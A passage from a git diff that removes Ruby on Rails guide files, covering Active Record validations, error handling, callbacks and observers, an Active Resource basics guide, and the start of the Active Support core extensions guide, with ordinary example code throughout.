-To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated.
-
-Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_with GoodnessValidator, :fields => [:first_name, :last_name]
-end
-
-class GoodnessValidator < ActiveModel::Validator
-  def validate(record)
-    if options[:fields].any?{|field| record.send(field) == "Evil" }
-      record.errors[:base] << "This person is evil"
-    end
-  end
-end
-</ruby>
-
-h4. +validates_each+
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_each :name, :surname do |record, attr, value|
-    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
-  end
-end
-</ruby>
-
-The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
-
-h3. Common Validation Options
-
-These are common validation options:
-
-h4. +:allow_nil+
-
-The +:allow_nil+ option skips the validation when the value being validated is +nil+.
-
-<ruby>
-class Coffee < ActiveRecord::Base
-  validates :size, :inclusion => { :in => %w(small medium large),
-    :message => "%{value} is not a valid size" }, :allow_nil => true
-end
-</ruby>
-
-TIP: +:allow_nil+ is ignored by the presence validator.
-
-h4. +:allow_blank+
-
-The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
-
-<ruby>
-class Topic < ActiveRecord::Base
-  validates :title, :length => { :is => 5 }, :allow_blank => true
-end
-
-Topic.create("title" => "").valid?  # => true
-Topic.create("title" => nil).valid? # => true
-</ruby>
-
-TIP: +:allow_blank+ is ignored by the presence validator.
-
-h4. +:message+
-
-As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-
-h4. +:on+
-
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
-
-<ruby>
-class Person < ActiveRecord::Base
-  # it will be possible to update email with a duplicated value
-  validates :email, :uniqueness => true, :on => :create
-
-  # it will be possible to create the record with a non-numerical age
-  validates :age, :numericality => true, :on => :update
-
-  # the default (validates on both create and update)
-  validates :name, :presence => true, :on => :save
-end
-</ruby>
-
-h3. Conditional Validation
-
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-
-h4. Using a Symbol with +:if+ and +:unless+
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-
-<ruby>
-class Order < ActiveRecord::Base
-  validates :card_number, :presence => true, :if => :paid_with_card?
-
-  def paid_with_card?
-    payment_type == "card"
-  end
-end
-</ruby>
-
-h4. Using a String with +:if+ and +:unless+
-
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :surname, :presence => true, :if => "name.nil?"
-end
-</ruby>
-
-h4. Using a Proc with +:if+ and +:unless+
-
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates :password, :confirmation => true,
-    :unless => Proc.new { |a| a.password.blank? }
-end
-</ruby>
-
-h4. Grouping conditional validations
-
-Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
-
-<ruby>
-class User < ActiveRecord::Base
-  with_options :if => :is_admin? do |admin|
-    admin.validates :password, :length => { :minimum => 10 }
-    admin.validates :email, :presence => true
-  end
-end
-</ruby>
-
-All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
-
-h3. Performing Custom Validations
-
-When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
-
-h4. Custom Validators
-
-Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
-
-<ruby>
-class MyValidator < ActiveModel::Validator
-  def validate(record)
-    unless record.name.starts_with? 'X'
-      record.errors[:name] << 'Need a name starting with X please!'
-    end
-  end
-end
-
-class Person
-  include ActiveModel::Validations
-  validates_with MyValidator
-end
-</ruby>
-
-The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
-
-<ruby>
-class EmailValidator < ActiveModel::EachValidator
-  def validate_each(record, attribute, value)
-    unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
-      record.errors[attribute] << (options[:message] || "is not an email")
-    end
-  end
-end
-
-class Person < ActiveRecord::Base
-  validates :email, :presence => true, :email => true
-end
-</ruby>
-
-As shown in the example, you can also combine standard validations with your own custom validators.
-
-h4. Custom Methods
-
-You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names.
-
-You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
-
-<ruby>
-class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past,
-    :discount_cannot_be_greater_than_total_value
-
-  def expiration_date_cannot_be_in_the_past
-    if !expiration_date.blank? and expiration_date < Date.today
-      errors.add(:expiration_date, "can't be in the past")
-    end
-  end
-
-  def discount_cannot_be_greater_than_total_value
-    if discount > total_value
-      errors.add(:discount, "can't be greater than total value")
-    end
-  end
-end
-</ruby>
-
-You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:
-
-<ruby>
-ActiveRecord::Base.class_eval do
-  def self.validates_as_choice(attr_name, n, options={})
-    validates attr_name, :inclusion => { {:in => 1..n}.merge(options) }
-  end
-end
-</ruby>
-
-Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
-
-<ruby>
-class Movie < ActiveRecord::Base
-  validates_as_choice :rating, 5
-end
-</ruby>
-
-h3. Working with Validation Errors
-
-In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
-
-The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods.
-
-h4(#working_with_validation_errors-errors). +errors+
-
-Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors
- # => {:name => ["can't be blank", "is too short (minimum is 3 characters)"]}
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors # => []
-</ruby>
-
-h4(#working_with_validation_errors-errors-2). +errors[]+
-
-+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors[:name] # => []
-
-person = Person.new(:name => "JD")
-person.valid? # => false
-person.errors[:name] # => ["is too short (minimum is 3 characters)"]
-
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.add+
-
-The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
-
-<ruby>
-class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
-  end
-end
-
-person = Person.create(:name => "!@#")
-
-person.errors[:name]
- # => ["cannot contain the characters !@#%*()_-+="]
-
-person.errors.full_messages
- # => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
-
-Another way to do this is using +[]=+ setter
-
-<ruby>
-  class Person < ActiveRecord::Base
-    def a_method_used_for_validation_purposes
-      errors[:name] = "cannot contain the characters !@#%*()_-+="
-    end
-  end
-
-  person = Person.create(:name => "!@#")
-
-  person.errors[:name]
-   # => ["cannot contain the characters !@#%*()_-+="]
-
-  person.errors.to_a
-   # => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
-
-h4. +errors[:base]+
-
-You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
-
-<ruby>
-class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors[:base] << "This person is invalid because ..."
-  end
-end
-</ruby>
-
-h4. +errors.clear+
-
-The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-
-p.save # => false
-
-p.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.size+
-
-The +size+ method returns the total number of error messages for the object.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true, :length => { :minimum => 3 }
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.size # => 2
-
-person = Person.new(:name => "Andrea", :email => "andrea@example.com")
-person.valid? # => true
-person.errors.size # => 0
-</ruby>
-
-h3. Displaying Validation Errors in the View
-
-"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
-
-You can install it as a gem by adding this line to your Gemfile:
-
-<ruby>
-gem "dynamic_form"
-</ruby>
-
-Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
-
-h4. +error_messages+ and +error_messages_for+
-
-When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
-
-<ruby>
-class Product < ActiveRecord::Base
-  validates :description, :value, :presence => true
-  validates :value, :numericality => true, :allow_nil => true
-end
-</ruby>
-
-<erb>
-<%= form_for(@product) do |f| %>
-  <%= f.error_messages %>
-  <p>
-    <%= f.label :description %><br />
-    <%= f.text_field :description %>
-  </p>
-  <p>
-    <%= f.label :value %><br />
-    <%= f.text_field :value %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-</erb>
-
-If you submit the form with empty fields, the result will be similar to the one shown below:
-
-!images/error_messages.png(Error messages)!
-
-NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
-
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
-
-<erb>
-<%= error_messages_for :product %>
-</erb>
-
-The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
-
-<erb>
-<%= f.error_messages :header_message => "Invalid product!",
-  :message => "You'll need to fix the following fields:",
-  :header_tag => :h3 %>
-</erb>
-
-results in:
-
-!images/customized_error_messages.png(Customized error messages)!
-
-If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
-
-h4(#customizing-error-messages-css). Customizing the Error Messages CSS
-
-The selectors used to customize the style of error messages are:
-
-* +.field_with_errors+ - Style for the form fields and labels with errors.
-* +#error_explanation+ - Style for the +div+ element with the error messages.
-* +#error_explanation h2+ - Style for the header of the +div+ element.
-* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element.
-* +#error_explanation ul li+ - Style for the list items with individual error messages.
-
-If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above.
-
-The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
-
-h4. Customizing the Error Messages HTML
-
-By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that.
-
-The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
-
-* A string with the HTML tag
-* An instance of +ActionView::Helpers::InstanceTag+.
-
-Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
-
-<ruby>
-ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
-  if instance.error_message.kind_of?(Array)
-    %(#{html_tag}<span class="validation-error">&nbsp;
-      #{instance.error_message.join(',')}</span>).html_safe
-  else
-    %(#{html_tag}<span class="validation-error">&nbsp;
-      #{instance.error_message}</span>).html_safe
-  end
-end
-</ruby>
-
-The result looks like the following:
-
-!images/validation_error_messages.png(Validation error messages)!
-
-h3. Callbacks Overview
-
-Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
-
-h4. Callback Registration
-
-In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
-
-<ruby>
-class User < ActiveRecord::Base
-  validates :login, :email, :presence => true
-
-  before_validation :ensure_login_has_a_value
-
-  protected
-  def ensure_login_has_a_value
-    if login.nil?
-      self.login = email unless email.blank?
-    end
-  end
-end
-</ruby>
-
-The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
-
-<ruby>
-class User < ActiveRecord::Base
-  validates :login, :email, :presence => true
-
-  before_create do |user|
-    user.name = user.login.capitalize if user.name.blank?
-  end
-end
-</ruby>
-
-It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
-
-h3. Available Callbacks
-
-Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
-
-h4. Creating an Object
-
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +before_create+
-* +around_create+
-* +after_create+
-* +after_save+
-
-h4. Updating an Object
-
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +before_update+
-* +around_update+
-* +after_update+
-* +after_save+
-
-h4. Destroying an Object
-
-* +before_destroy+
-* +after_destroy+
-* +around_destroy+
-
-WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
-
-h4. +after_initialize+ and +after_find+
-
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
-
-The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
-
-The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks.
-
-<ruby>
-class User < ActiveRecord::Base
-  after_initialize do |user|
-    puts "You have initialized an object!"
-  end
-
-  after_find do |user|
-    puts "You have found an object!"
-  end
-end
-
->> User.new
-You have initialized an object!
-=> #<User id: nil>
-
->> User.first
-You have found an object!
-You have initialized an object!
-=> #<User id: 1>
-</ruby>
-
-h3. Running Callbacks
-
-The following methods trigger callbacks:
-
-* +create+
-* +create!+
-* +decrement!+
-* +destroy+
-* +destroy_all+
-* +increment!+
-* +save+
-* +save!+
-* +save(false)+
-* +toggle!+
-* +update+
-* +update_attribute+
-* +update_attributes+
-* +update_attributes!+
-* +valid?+
-
-Additionally, the +after_find+ callback is triggered by the following finder methods:
-
-* +all+
-* +first+
-* +find+
-* +find_all_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>!+
-* +last+
-
-The +after_initialize+ callback is triggered every time a new object of the class is initialized.
-
-h3. Skipping Callbacks
-
-Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
-
-* +decrement+
-* +decrement_counter+
-* +delete+
-* +delete_all+
-* +find_by_sql+
-* +increment+
-* +increment_counter+
-* +toggle+
-* +touch+
-* +update_column+
-* +update_all+
-* +update_counters+
-
-h3. Halting Execution
-
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
-
-The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
-
-WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
-
-h3. Relational Callbacks
-
-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_many :posts, :dependent => :destroy
-end
-
-class Post < ActiveRecord::Base
-  after_destroy :log_destroy_action
-
-  def log_destroy_action
-    puts 'Post destroyed'
-  end
-end
-
->> user = User.first
-=> #<User id: 1>
->> user.posts.create!
-=> #<Post id: 1, user_id: 1>
->> user.destroy
-Post destroyed
-=> #<User id: 1>
-</ruby>
-
-h3. Conditional Callbacks
-
-As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
-
-h4. Using +:if+ and +:unless+ with a +Symbol+
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => :paid_with_card?
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a String
-
-You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => "paid_with_card?"
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a +Proc+
-
-Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number,
-    :if => Proc.new { |order| order.paid_with_card? }
-end
-</ruby>
-
-h4. Multiple Conditions for Callbacks
-
-When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
-
-<ruby>
-class Comment < ActiveRecord::Base
-  after_create :send_email_to_author, :if => :author_wants_emails?,
-    :unless => Proc.new { |comment| comment.post.ignore_comments? }
-end
-</ruby>
-
-h3. Callback Classes
-
-Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-
-Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
-
-<ruby>
-class PictureFileCallbacks
-  def after_destroy(picture_file)
-    if File.exists?(picture_file.filepath)
-      File.delete(picture_file.filepath)
-    end
-  end
-end
-</ruby>
-
-When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
-
-<ruby>
-class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks.new
-end
-</ruby>
-
-Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
-
-<ruby>
-class PictureFileCallbacks
-  def self.after_destroy(picture_file)
-    if File.exists?(picture_file.filepath)
-      File.delete(picture_file.filepath)
-    end
-  end
-end
-</ruby>
-
-If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
-
-<ruby>
-class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks
-end
-</ruby>
-
-You can declare as many callbacks as you want inside your callback classes.
-
-h3. Observers
-
-Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
-
-h4. Creating Observers
-
-For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
-
-<shell>
-$ rails generate observer User
-</shell>
-
-generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
-end
-</ruby>
-
-You may now add methods to be called at the desired occasions:
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
-  def after_create(model)
-    # code to send confirmation email...
-  end
-end
-</ruby>
-
-As with callback classes, the observer's methods receive the observed model as a parameter.
-
-h4. Registering Observers
-
-Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
-
-<ruby>
-# Activate observers that should always be running.
-config.active_record.observers = :user_observer
-</ruby>
-
-As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
-
-h4. Sharing Observers
-
-By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
-
-<ruby>
-class MailerObserver < ActiveRecord::Observer
-  observe :registration, :user
-
-  def after_create(model)
-    # code to send confirmation email...
-  end
-end
-</ruby>
-
-In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
-
-<ruby>
-# Activate observers that should always be running.
-config.active_record.observers = :mailer_observer
-</ruby>
-
-h3. Transaction Callbacks
-
-There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
-
-Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
-
-<ruby>
-PictureFile.transaction do
-  picture_file_1.destroy
-  picture_file_2.save!
-end
-</ruby>
-
-By using the +after_commit+ callback we can account for this case.
-
-<ruby>
-class PictureFile < ActiveRecord::Base
-  attr_accessor :delete_file
-
-  after_destroy do |picture_file|
-    picture_file.delete_file = picture_file.filepath
-  end
-
-  after_commit do |picture_file|
-    if picture_file.delete_file && File.exist?(picture_file.delete_file)
-      File.delete(picture_file.delete_file)
-      picture_file.delete_file = nil
-    end
-  end
-end
-</ruby>
-
-The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile
deleted file mode 100644
index 851aac1a3f..0000000000
--- a/railties/guides/source/active_resource_basics.textile
+++ /dev/null
@@ -1,120 +0,0 @@
-h2. Active Resource Basics
-
-This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in  +app/models+.
-
-h3. Configuration and Usage
-
-Putting Active Resource to use is very similar to Active Record.  It's as simple as creating a model class
-that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
-
-<ruby>
-class Person < ActiveResource::Base
-  self.site = "http://api.people.com:3000/"
-end
-</ruby>
-
-Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
-life cycle methods that operate against a persistent store.
-
-h3. Reading and Writing Data
-
-Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol.
-
-h4. Read
-
-Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested.
-
-<ruby>
-# Find a person with id = 1
-person = Person.find(1)
-# Check if a person exists with id = 1
-Person.exists?(1)  # => true
-# Get all resources of Person class
-Person.all
-</ruby>
-
-h4. Create
-
-Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object.
-
-<ruby>
-person = Person.create(:name => 'Vishnu')
-person.id  # => 1
-</ruby>
-
-h4. Update
-
-To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format.
-
-<ruby>
-person = Person.find(1)
-person.name = 'Atrai'
-person.save
-</ruby>
-
-h4. Delete
-
-'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource.
-
-<ruby>
-person = Person.find(1)
-person.destroy
-</ruby>
-
-h3. Validations
-
-Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors.
-
-h4. Validating client side resources by overriding validation methods in base class
-
-<ruby>
-class Person < ActiveResource::Base
-   self.site = "http://api.people.com:3000/"
-
-   protected
-
-   def validate
-     errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
-   end
-end
-</ruby>
-
-h4. Validating client side resources
-
-Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model:
-
-<ruby>
-person = Person.new(:first_name => "Jim", :last_name => "")
-person.save                   # => false (server returns an HTTP 422 status code and errors)
-person.valid?                 # => false
-person.errors.empty?          # => false
-person.errors.count           # => 1
-person.errors.full_messages   # => ["Last name can't be empty"]
-person.errors[:last_name]  # => ["can't be empty"]
-person.last_name = "Halpert"
-person.save                   # => true (and person is now saved to the remote service)
-</ruby>
-
-h4. Public instance methods
-
-ActiveResource::Validations have three public instance methods
-
-h5. errors()
-
-This will return errors object that holds all information about attribute error messages
-
-h5. save_with_validation(options=nil)
-
-This validates the resource with any local validations written in base class and then it will try to POST if there are no errors.
-
-h5. valid?
-
-Runs all the local validations and will return true if no errors.
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
deleted file mode 100644
index ff6c5f967f..0000000000
--- a/railties/guides/source/active_support_core_extensions.textile
+++ /dev/null
@@ -1,3692 +0,0 @@
-h2. Active Support Core Extensions
-
-Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
-
-It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
-
-By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.
-
-endprologue.
-
-h3. How to Load Core Extensions
-
-h4. Stand-Alone Active Support
-
-In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
-
-Thus, after a simple require like:
-
-<ruby>
-require 'active_support'
-</ruby>
-
-objects do not even respond to +blank?+. Let's see how to load its definition.
-
-h5. Cherry-picking a Definition
-
-The most lightweight way to get +blank?+ is to cherry-pick the file that defines it.
-
-For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of +blank?+ the note reads:
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-That means that this single call is enough:
-
-<ruby>
-require 'active_support/core_ext/object/blank'
-</ruby>
-
-Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
-
-h5. Loading Grouped Core Extensions
-
-The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+.
-
-Thus, to load all extensions to +Object+ (including +blank?+):
-
-<ruby>
-require 'active_support/core_ext/object'
-</ruby>
-
-h5. Loading All Core Extensions
-
-You may prefer just to load all core extensions, there is a file for that:
-
-<ruby>
